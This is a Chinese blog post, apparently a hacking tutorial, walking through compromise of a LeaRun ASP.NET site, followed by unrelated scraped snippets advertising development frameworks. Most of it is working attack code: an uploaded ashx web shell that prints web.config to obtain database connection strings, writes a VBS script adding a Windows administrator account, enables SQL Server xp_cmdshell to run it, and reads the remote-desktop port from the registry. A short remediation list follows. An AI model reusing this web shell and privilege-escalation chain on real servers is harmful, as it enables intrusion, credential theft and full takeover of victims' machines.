ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)

笔者小学文化,语言组织能力差,写的不通的地方请大家将就着看,不喜勿喷。

上篇我讲了如何在上传文件中入侵服务器,這次我们稍微多讲一点。

还是先讲下流程:

1、上传代码页面  我上传的是ashx页面。

2、用ashx页面已文本形式显示web.Config的内容 得到数据库连接,

3、用ashx在网站根目录输出vbs脚本(创建Windows账户脚本)

4、开启数据库的xp_cmdshell。

5、利用数据库执行在网站根目录输出vbs脚本。入侵就完成了

ashx代码文件如下

/// <summary>
        /// 显示配置文件
        /// </summary>
        /// <param name="context"></param>
        public void ShowWebConfig(HttpContext context)
        {
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
        }
        /// <summary>
        /// 写vbs脚本
        /// </summary>
        /// <param name="context"></param>
        public void WriteVbs(HttpContext context)
        {
            System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\")\r\nos=\"WinNT://\"&wsnetwork.ComputerName\r\nSet ob=GetObject(os) ‘得到adsi接口,绑定\r\nSet oe=GetObject(os&\"/Administrators,group\") ‘属性,admin组\r\nSet od=ob.Create(\"user\",\"test\") ‘建立用户\r\nod.SetPassword \"1234\" ‘设置密码\r\nod.SetInfo ‘保存\r\nSet of=GetObject(os&\"/test\",user) ‘得到用户\r\noe.add os&\"/freeast\" \r\n");
        }
        /// <summary>
        /// 直线数据库
        /// </summary>
        /// <param name="connection"></param>
        /// <param name="sql"></param>
        public void ExecuteSql(string connection, string sql)
        {
            using (SqlConnection con = new SqlConnection(connection))
            {
                using (SqlCommand commd = new SqlCommand(sql, con))
                {
                    con.Open();
                    commd.ExecuteNonQuery();
                    con.Close();
                }
            }
        }
        /// <summary>
        /// 直线数据库并输出表格
        /// </summary>
        /// <param name="context"></param>
        /// <param name="connection"></param>
        /// <param name="sql"></param>
        public void ExecuteSql1(HttpContext context,string connection, string sql)
        {
            System.Data.DataTable table = new System.Data.DataTable();
            using (SqlConnection con = new SqlConnection(connection))
            {
                using (SqlCommand commd = new SqlCommand(sql, con))
                {
                    con.Open();
                    using (SqlDataAdapter ad = new SqlDataAdapter(commd))
                    {
                        ad.Fill(table);
                    }
                    con.Close();
                }
            }
            foreach (System.Data.DataRow row in table.Rows)
            {
                foreach (System.Data.DataColumn column in table.Columns)
                {
                    context.Response.Write(row[column]);
                    context.Response.Write("\t");
                }
                context.Response.Write("\r\n");
            }
        }
        /// <summary>
        /// 显示远程桌面端口
        /// </summary>
        /// <param name="context"></param>
        private void ShowPort(HttpContext context)
        {
            context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp").GetValue("PortNumber").ToString());
        }
        public void ProcessRequest(HttpContext context)
        {
            context.Response.ContentType = "text/plain";

            try
            {
                var connection = context.Request.QueryString["connection"];
                switch (context.Request.QueryString["method"])
                {
                    case "1": WriteVbs(context); break;
                    case "2":
                        ExecuteSql(connection,@"sp_configure ‘show advanced options‘,1  reconfigure");
                        ExecuteSql(connection,@"sp_configure ‘xp_cmdshell‘,1 reconfigure");//开启数据库的xp_cmdshell
                        break;
                    case "3": ExecuteSql1(context, connection, "exec master..xp_cmdshell ‘cscript " + context.Request.MapPath("~/1.vbs") + "‘");
                        break;
                    case "4": ShowPort(context); break;
                    default:
                        ShowWebConfig(context);
                        break;
                }
            }
            catch (Exception ex)
            {
                context.Response.Write(ex.Message);
            }
            context.Response.End();
        }
        public bool IsReusable
        {
            get
            {
                return false;
            }
        }

這里我们以 "LeaRun.信息化快速开发框架"的在线按钮为例

上传文件我就不说了,上篇有人在问我怎么显示web.Config的内容,我这里具体贴下代码 其实很简单,File.ReadAllText  web.config文件就可以了

public void ShowWebConfig(HttpContext context)
        {
            context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
        }

运行后直线ashx 得到数据库连接,如图

其次就是创建Windows账户的脚本

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) ‘得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") ‘属性,admin组
Set od=ob.Create("user","test") ‘建立用户
od.SetPassword "1234" ‘设置密码
od.SetInfo ‘保存
Set of=GetObject(os&"/test",user) ‘得到用户
oe.add os&"/freeast" 

然后开启数据库的xp_cmdshell。

sp_configure ‘show advanced options‘,1  reconfigure

Go

sp_configure ‘xp_cmdshell‘,1 reconfigure

在最后执行vbs脚本

exec master..xp_cmdshell ‘cscript 脚本文件目录"‘

运行结果如下:

好 这说明直线成功了。。。。 也就是服务器用户添加成功了

现在要开始远程桌面了,于是个端口扫描工具发现3389是关的,于是断定肯定是修改了端口后,于是就加了个代码,让程序去读取远程桌面端口,

代码如下:

/// <summary>
        /// 显示远程桌面端口
        /// </summary>
        /// <param name="context"></param>
        private void ShowPort(HttpContext context)
        {
            context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp").GetValue("PortNumber").ToString());
        }

好了 到這里 一切的完成了 ,打开远程桌面连接吧。。

因为此次公开还没来得及通知  事主 于是自己帮事主把这个漏洞补上了后才发出来的,所以你们也不要去试了   -.-!!!!

然后我在来说说补救的方法,我就简单介绍几种了

1、将上传的文件放到网站外,也就是说 让iit读取不到(但记得分配权限) ,如:假如我网站放在 d:\\Web\Oa\  这个是我网站的跟目录,那么我上传的文件 可以放到 d:\File\OA 里面,别人就不能直接访问

2、就是在上传文件的目录下新建立个web.config 把所有请求都拒绝,(C#是可以读取的,只是需要用Response.WriteFile 输出)

3、全部压缩

。。。。。。。。。。。。。。。。

好了 ,大家抓紧把之前的项目整理一遍吧,把能补的补上。。。。 千万别用這些漏洞去做坏事哦  ,。。。 那样你会被请去喝茶的。。。。-.-!!!!!

时间: 2024-10-12 08:34:55

ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)的相关文章

ASP.NET Core模块化前后端分离快速开发框架介绍之4、模块化实现思路

源码 GitHub:https://github.com/iamoldli/NetModular 演示地址 地址:http://129.211.40.240:6220 账户:admin 密码:admin 前端框架演示地址(临时) 地址:http://progqx5cu.bkt.clouddn.com/skins/index.html#/ 账户:admin 密码:admin 目录 1.开篇 2.快速创建一个业务模块 3.数据访问模块介绍 4.模块化实现思路 获取官方源码 为了方便查看源码,我们先获

ASP.NET MVC4.0+ WebAPI+EasyUI+KnockOutJS快速开发框架 通用权限管理系统

在线演示地址:http://115.28.135.49:8099/ 1.基于 ASP.NET MVC4.0 + WebAPI + EasyUI + Knockout 的架构设计开发 2.采用MVC的框架模式,具有耦合性低.重用性高.生命周期成本低.可维护性高.有利软件工程化管理等优点 3.采用WebAPI,客户端完全摆脱了代理和管道来直接进行交互 4.采用EasyUI前台UI界面插件,可轻松的打造出功能丰富并且美观的UI界面 5.采用Knockout,,提供了一个数据模型与用户UI界面进行关联的

ASP.NET MVC4 +Jquery+漂亮后台UI+快速开发框架形成之旅(总体介绍)

一转眼务农6年了,呆过大公司也去过小作坊,码农的人生除了抠腚还是抠腚.在所有呆过的公司里,感觉项目没有不延期的,真的是因为自己不努力吗?也没有呀!上班不怎么聊QQ回家也很少看动作片,还搞过几次通宵撸码的. 以前总感觉是项目经理把工时估少了,后来自己也做过项目管理,按照以往的经历估工时,做到最后还是会有些延期,要不就是加班拼命赶.我发现在项目中总是会遇到一些这样那样的问题,比如:客户需求变了,基础数据导入耗时太长,开发人员水平不高,以往的项目没作积累,每次都是从头开发... ... 感觉在开发过程

力软信息化系统快速开发框架 web端+winform端

力软信息化系统快速开发框架是一套集权限管理+快速开发+动态接口+通用组件+动态UI于一体的全新.net信息化快速开发框架.力软信息化系统快速开发框架的使用,大大地缩短了开发周期,提高了软件质量,同时也降低企业对软件研发人员编码水平要求.使得软件企业减少研发的时间和成本以及提升用户体验,从而能在竞争激烈的软件行业里脱颖而出,打造出优秀的软件产品,赢得客户的信赖.同样软件工程师有一套这样的开发神器在手,开发软件效率卓越,界面炫酷,定能赢得上司的赏识,升职加薪不在话下,迎娶白富美登上人生的巅峰也指日可

力软.net快速开发框架,MVC架构,工作流源码(敏捷开发版6.1)

导引:在网上看到力软开发的系统非常不错,并且我本身就是学MVC的,但是感觉和人家差距很大,所以就花重金买下了源代码,好好研究总结一下! 力软信息化系统快速开发框架是一套集权限管理+快速开发+动态接口+通用组件+动态UI于一体的全新.net信息化快速开发框架. 开发工具: vs2005/vs2008/vs2010 数据库: sql2005/sql2008 属性: MVC 前端: Jquery+BootStrap 体验地址:http://learun.cn:90/Home/AdminDefault

网站入侵思路(初级黑客渗透篇) 作者:80

网站入侵思路(初级黑客渗透篇)           作者:80 1,〓经典注入〓 通常,判断一个网站是否存在注入点,可以用',and 1=1 ,and 1=2,+and+1=1,+and+1=2,%20and%201=1,%20and%201=2,来判断,如果and 1=1正常返回页面,1=2错误,或者找不到,那么就存在注入点 2,〓万能密码OR漏洞〓 万能密码'or'='or',可以用在后台管理输入,有的网站由于没有过滤OR漏洞,输入OR直接就可以突破,一般漏洞存在于ASP类型的网站 3,〓爆

.NET快速信息化系统开发框架 V3.2-&gt;Web版本“产品管理”事例编辑界面新增KindEditor复文本编辑控件

KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE.Firefox.Chrome.Safari.Opera等主流浏览器.KindEditor使用JavaScript编写,可以无缝的于Java..NET.PHP.ASP等程序接合.KindEditor非常适合在CMS.商城.论坛.博客.Wiki.电子邮件等互联网应用上使用,2006年7月首次发布2.0以来,KindEditor依靠出色的用户体验和领先的技术不断扩大编辑器市场占有率,目前在国内

RDIFramework.NET ━ .NET快速信息化系统开发框架 V3.2-&gt; “Tab”标签新增可“最大化”显示功能

最大化工作区的功能是非常必要的,特别是当模块功能比较多时,把工作区最大的展现出来就变得很重要,RDIFramework.NET V3.2版本对工作区新增了最大化工作区功能,最大化工作区后如下图所示:  具体使用的是layout布局,代码参考: 相关文章:     RDIFramework 平台代码生成器V3.2 发布版  RDIFramework.NET - 基于.NET的快速信息化系统开发框架 - 系列目录  RDIFramework.NET ━ .NET快速信息化系统开发框架 ━ 工作流程组

RDIFramework.NET ━ .NET快速信息化系统开发框架 V3.2-&gt;WinForm版本新增新的用户权限设置界面

在实际应用中我们会发现,权限控制会经常变动,如:需要调整角色的分配,需要收回与授予某些角色.用户可访问的模块(菜单)与相应的操作权限.需要给某些角色添加与移除相应的用户等等,如果没有一个灵活可靠的配置管理工具将会使权限控制变得十分麻烦.用户授权管理模块就是为了方便用户.角色权限的集中统一管理而开发的模块.在用户授权管理模块,操作员可以添加或移动用户到指定的角色.可以分配或授予指定用户的模块(菜单)的访问权限.可以收回或分配指定用户的操作(功能)权限.可以对所有用户.角色.模块(菜单).操作(功能